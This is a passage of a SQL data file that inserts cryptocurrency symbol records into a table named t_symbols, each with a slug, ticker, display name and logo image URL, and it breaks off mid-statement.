'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dietbitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3339, 'mintcoin', 'MINT', 'Mintcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mintcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3340, 'unicoin', 'UNIC', 'UniCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3341, 'zdr', 'ZDR', 'Zloadr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zdr.png', NULL); +INSERT INTO `t_symbols` VALUES (3342, 'cointogo', '2GO', 'CoinToGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cointogo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3343, 'benz', 'BENZ', 'Benz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3344, 'swyft', 'SWYFTT', 'SWYFT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swyft.png', NULL); +INSERT INTO `t_symbols` VALUES (3345, 'magnum', 'MGM', 'Magnum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magnum.png', NULL); +INSERT INTO `t_symbols` VALUES (3346, 'anarchistsprime', 'ACP', 'AnarchistsPrime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anarchistsprime.png', NULL); +INSERT INTO `t_symbols` VALUES (3347, 'kilocoin', 'KLC', 'KiloCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kilocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3348, 'wispr', 'WSP', 'Wispr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wispr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3349, 'dowcoin', 'DOW', 'DOWCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dowcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3350, 'newton-coin-project', 'NCP', 'Newton Coin Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newton-coin-project.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3351, 'qbic', 'QBIC', 'Qbic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoQbic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3352, 'helpico', 'HELP', 'Helpico', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helpico.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3353, 'mgt', 'MGT', 'mgt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mgt.png', NULL); +INSERT INTO `t_symbols` VALUES (3354, 'btctalkcoin', 'TALK', 'BTCtalkcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btctalkcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3355, 'alphabitcoinfund', 'ABC', 'Alphabit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alphabitcoinfund.png', NULL); +INSERT INTO `t_symbols` VALUES (3356, 'azart', 'AZART', 'Azart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/azart.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3357, 'evotion', 'EVO', 'Evotion', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3358, 'abulaba', 'AAA', 'Abulaba', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abulaba.png', NULL); +INSERT INTO `t_symbols` VALUES (3359, 'eltc', 'ELTC2', 'eLTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/eLTCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3360, 'madcoin', 'MDC', 'Madcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/madcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3361, 'idice', 'ICE', 'iDice', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3362, 'steneum-coin', 'STN', 'Steneum Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steneum-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3363, 'elliot-coin', 'ELLI', 'Elliotcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elliot-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3364, 'numus', 'NMS', 'Numus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/NumusCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3365, 'zoomba', 'ZBA', 'Zoomba', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zoomba.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3366, 'dexergi', 'DEXR', 'DEXERGI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dexergi.png', NULL); +INSERT INTO `t_symbols` VALUES (3367, 'ingenuity', 'INGY', 'Ingenuity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ingenuity.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3368, 'trident', 'TRDT', 'Trident Group', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/TrustTheTrident.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3369, 'dystem', 'DTEM', 'Dystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dystem.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3370, 'nitro', 'NOX', 'Nitro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/nitrotoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3371, 'escoro', 'ESC', 'Escroco', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3372, 'sideshift', 'SAI', 'Sai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sideshift.png', NULL); +INSERT INTO `t_symbols` VALUES (3373, 'harmonycoin-hmc', 'HMC', 'HarmonyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmonycoin-hmc.png', NULL); +INSERT INTO `t_symbols` VALUES (3374, 'crevacoin', 'CREVA', 'Crevacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crevacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3375, 'kredsblockchain', 'KREDS', 'Kreds', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kredsblockchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3376, 'spectrum', 'SPT', 'SPECTRUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spectrum.png', NULL); +INSERT INTO `t_symbols` VALUES (3377, 'vectoraic', 'VT', 'Vectoraic Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vectoraic.png', NULL); +INSERT INTO `t_symbols` VALUES (3378, 'ethgas', 'EGAS', 'ETHGAS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/eth_gas.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3379, 'levoplus', 'LVPS', 'LevoPlus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/levoplus.png', NULL); +INSERT INTO `t_symbols` VALUES (3380, 'boostcoin', 'BOST', 'BoostCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boostcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3381, 'visio', 'VISIO', 'Visio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/visio.png', NULL); +INSERT INTO `t_symbols` VALUES (3382, 'satopay', 'STOP', 'SatoPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/satopay.png', NULL); +INSERT INTO `t_symbols` VALUES (3383, 'maecenas', 'ART', 'Maecenas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maecenas.png', NULL); +INSERT INTO `t_symbols` VALUES (3384, 'pioneer-coin', 'PCOIN', 'Pioneer Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pioneer-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3385, 'aeron', 'ARNX', 'Aeron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeron.png', NULL); +INSERT INTO `t_symbols` VALUES (3386, 'cusd', 'CUSD', 'cusd', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cusd.png', NULL); +INSERT INTO `t_symbols` VALUES (3387, 'eph', 'EPH', 'Euphoria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eph.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3388, 'tendies', 'TEND', 'Tendies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tendies.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3389, 'mfit-coin', 'MFIT', 'MFIT Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mfit-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3390, 'speed-mining-service', 'SMS', 'Speed Mining Service', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Speed_Mining.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3391, 'one-token', 'ONE', 'one-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3392, 'bitrent', 'RNTB', 'BitRent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrent.png', NULL); +INSERT INTO `t_symbols` VALUES (3393, 'game-dollors-token', 'GDX', 'game-dollors-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-dollors-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3394, 'stonecoin', 'STONE', 'Stone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stonecoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3395, 'lovewin', 'LOVE', 'lovewin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3396, 'apollo-currency', 'APL', 'Apollon Limassol Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apollo-currency.png', NULL); +INSERT INTO `t_symbols` VALUES (3397, 'bds', 'BDS', 'Borderless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bds.png', NULL); +INSERT INTO `t_symbols` VALUES (3398, 'postoken', 'POS', 'PoSToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/postoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3399, 'ppl', 'PPL', 'Qripplex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ppl.png', NULL); +INSERT INTO `t_symbols` VALUES (3400, 'playercoin', 'PLACO', 'PlayerCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3401, 'credence-coin', 'CRDNC', 'Credence Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/credencecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3402, 'cannacoin', 'CCN', 'CannaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cannacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3403, 'leviar', 'XLC', 'LeviarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leviar.png', NULL); +INSERT INTO `t_symbols` VALUES (3404, 'simmitri', 'SIM', 'Simmitri', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/simmitri.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3405, 'abitshadow-token', 'ABST', 'Abitshadow Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abitshadow-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3406, 'coc-naypyidaw', 'COC', 'coc-naypyidaw', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3407, 'ccl', 'CCL', 'CyClean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccl.png', NULL); +INSERT INTO `t_symbols` VALUES (3408, 'icocalendar', 'ICT', 'ICT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icocalendar.png', NULL); +INSERT INTO `t_symbols` VALUES (3409, 'idol-coin', 'IDOL', 'IDOLCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idol-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3410, 'cap', 'CAP', 'Cap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cap.png', NULL); +INSERT INTO `t_symbols` VALUES (3411, 'yee', 'YEE', 'Yee', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yee.png', NULL); +INSERT INTO `t_symbols` VALUES (3412, 'darcrus', 'DAR', 'Darcrus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darcrus.png', NULL); +INSERT INTO `t_symbols` VALUES (3413, 'degenerator', 'MEME', 'Meme Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/degenerator.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3414, 'gokumarket-credit', 'GMC', 'GokuMarket Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gokumarket-credit.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3415, 'xcom-pay', 'XCOM', 'XCOM Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xcom-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (3416, 'utiop', 'UTI', 'UTI Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utiop.png', NULL); +INSERT INTO `t_symbols` VALUES (3417, 'tierion', 'TNT', 'Tierion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tierion.png', NULL); +INSERT INTO `t_symbols` VALUES (3418, 'ept', 'EPT', 'e-Pocket Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ept.png', NULL); +INSERT INTO `t_symbols` VALUES (3419, 'zozocoin', 'ZZC', 'ZoZoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zozocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3420, 'okbet', 'OKT', 'okbet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okbet.png', NULL); +INSERT INTO `t_symbols` VALUES (3421, 'bounce-token', 'BOT', 'Bounce [old]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bounce-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3422, 'tmb', 'TMB', 'TemboCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tmb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3423, 'dxo', 'DXO', 'Dextro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dxo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3424, 'shade-token', 'SHADE', 'shade-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shade-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3425, 'voco', 'VOCO', 'Provoco Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voco.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3426, 'glasscoin', 'GLS', 'GlassCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/glasscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3427, 'cjs', 'CJS', 'CJs', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3428, 'ebittree-coin', 'EBT', 'Ebittree Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebittree-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3429, 'solarflarecoin', 'SFC', 'SolarFlareCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solarflarecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3430, 'stintcoin', 'STINT', 'Stint', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stintcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3431, 'plat', 'PLAT', 'BitGuild PLAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plat.png', NULL); +INSERT INTO `t_symbols` VALUES (3432, 'bolenum', 'BLN', 'Bolenum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BolenumPlatform.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3433, 'milocoin', 'MILO', 'MiloCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/milocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3434, 'tokoin', 'TOKO', 'Tokoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/tokoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3435, 'bitstar', 'BITS', 'Bitstar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitstar.png', NULL); +INSERT INTO `t_symbols` VALUES (3436, 'bitcash', 'BITC', 'BitCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3437, 'versus', 'VSU', 'VERSUS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/versus.png', NULL); +INSERT INTO `t_symbols` VALUES (3438, 'daostack', 'GEN', 'DAOstack', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daostack.png', NULL); +INSERT INTO `t_symbols` VALUES (3439, 'trocaninja', 'TNJ', 'TrocaNinja', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trocaninja.png', NULL); +INSERT INTO `t_symbols` VALUES (3440, 'phonecoin', 'PHON', 'PhoneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phonecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3441, 'yffc-finance', 'YFFC', 'yffc.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yffc-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (3442, 'bartertrade', 'BART', 'BarterTrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bartertrade.png', NULL); +INSERT INTO `t_symbols` VALUES (3443, 'arr', 'ARR', 'Arround.io', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arr.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3444, 'bitalphacoin', 'BAC', 'BitAlphaCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3445, 'brc', 'BRC', 'Bryllite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bryllite_.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3446, 'cybereits', 'CRE', 'Cybereits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybereits.png', NULL); +INSERT INTO `t_symbols` VALUES (3447, 'dynamiccoin', 'DMC', 'DynamicCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamiccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3448, 'ino-coin', 'INO', 'Ino Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ino-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3449, 'lcschain', 'LCS', 'LcsChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lcschain.png', NULL); +INSERT INTO `t_symbols` VALUES (3450, 'mental-health-coin', 'MENTAL', 'mental-health-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mental-health-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3451, 'epcloud', 'EPC', 'epcloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epcloud.png', NULL); +INSERT INTO `t_symbols` VALUES (3452, 'icolcoin', 'ICOL', 'Icolcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icolcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3453, 'ethereum-wizard', 'ETHW', 'Ethereum wizard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-wizard.png', NULL); +INSERT INTO `t_symbols` VALUES (3454, 'peoplecoin', 'MEN', 'PeopleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peoplecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3455, 'romchain', 'ROMTV', 'ROMTV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/romchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3456, 'ethortoken', 'ETR', 'Ethor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethortoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3457, 'aichain-token', 'AIT', 'AICHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aichain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3458, 'joy-coin', 'JOY', 'Joy Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3459, 'virtual-payment-coin', 'VPC', 'Virtual Payment Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virtual-payment-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3460, 'king', 'KING', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/thekingdom.png', NULL); +INSERT INTO `t_symbols` VALUES (3461, 'artbyte', 'ABY', 'ArtByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artbyte.png', NULL); +INSERT INTO `t_symbols` VALUES (3462, 'qlm', 'QLM', 'QLM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qlm.png', NULL); +INSERT INTO `t_symbols` VALUES (3463, 'sdcoin', 'SDC', 'SDCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3464, 'starchain', 'STC', 'StarChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3465, 'tokyo', 'TOKC', 'Tokyo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/TOKYOCOIN.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3466, 'lightforge', 'LTFG', 'Lightforge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightforge.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3467, 'work-place-coin', 'WOPC', 'Work Place Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/work-place-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3468, 'hatch', 'HATCH', 'Hatch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hatch.png', NULL); +INSERT INTO `t_symbols` VALUES (3469, 'withcoin', 'WTHC', 'Withcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/withcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3470, 'one-world-coin', 'OWO', 'One World Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-world-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3471, 'dogethereum', 'DOGX', 'Dogethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogethereum.png', NULL); +INSERT INTO `t_symbols` VALUES (3472, 'allcoin', 'ALC', 'Allcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/allcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3473, 'joytoken', 'JOY', 'JoyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joytoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3474, 'vestarin', 'VST', 'VST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vestarin.png', NULL); +INSERT INTO `t_symbols` VALUES (3475, 'c2x', 'CTX', 'C2X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c2x.png', NULL); +INSERT INTO `t_symbols` VALUES (3476, 'diamond-1', 'DIAMOND', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/thekingdom.png', NULL); +INSERT INTO `t_symbols` VALUES (3477, 'hb', 'HB', 'hb', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3478, 'ldimension', 'LDS', 'L-Dimension', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ldimension.png', NULL); +INSERT INTO `t_symbols` VALUES (3479, 'sdgo', 'SDGO', 'SanDeGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdgo.png', NULL); +INSERT INTO `t_symbols` VALUES (3480, 'starcointv', 'KST', 'StarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcointv.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3481, 'mogutech', 'MOGX', 'Mogu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mogx.png', NULL); +INSERT INTO `t_symbols` VALUES (3482, '360-tribe', 'TRIBE', '360 Tribe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/360-tribe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3483, 'kazestream', 'STREAM', 'KazeSTREAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kazestream.png', NULL); +INSERT INTO `t_symbols` VALUES (3484, 'athero', 'THO', 'Athero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/athero.png', NULL); +INSERT INTO `t_symbols` VALUES (3485, 'spirittoken', 'SPIRIT', 'Spirit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spirittoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3486, 'united-emirate-coin', 'UEC', 'United Emirate Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/united-emirate-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3487, 'terragreen', 'TGN', 'TerraGreen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terragreen.png', NULL); +INSERT INTO `t_symbols` VALUES (3488, 'katalyse', 'KAT', 'Katalyse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/katalyse.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3489, 'vote-coin', 'VTC', 'Vote Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vote-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3490, 'interplanetarylinkedfile', 'IPLF', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/interplanetarylinkedfile.png', NULL); +INSERT INTO `t_symbols` VALUES (3491, 'deef', 'DEEF', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/defylabs.png', NULL); +INSERT INTO `t_symbols` VALUES (3492, 'artcn', 'ARTCN', 'ARTCN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artcn.png', NULL); +INSERT INTO `t_symbols` VALUES (3493, 'dzcc', 'DZCC', 'DZCC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dzcc.png', NULL); +INSERT INTO `t_symbols` VALUES (3494, 'hb10', 'HB10', 'hb10', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hb10.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3495, 'ldxt', 'LDXT', 'ldxt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ldxt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3496, 'pdi', 'PDI', 'Pindex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pdi.png', NULL); +INSERT INTO `t_symbols` VALUES (3497, 'sdig', 'SDIG', 'sdig', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdig.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3498, 'tomainfo', 'TON', 'TomaInfo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomaInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (3499, 'exploreoasis', 'XOS', 'OASIS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exploreoasis.png', NULL); +INSERT INTO `t_symbols` VALUES (3500, 'scudocash', 'SCUDO', 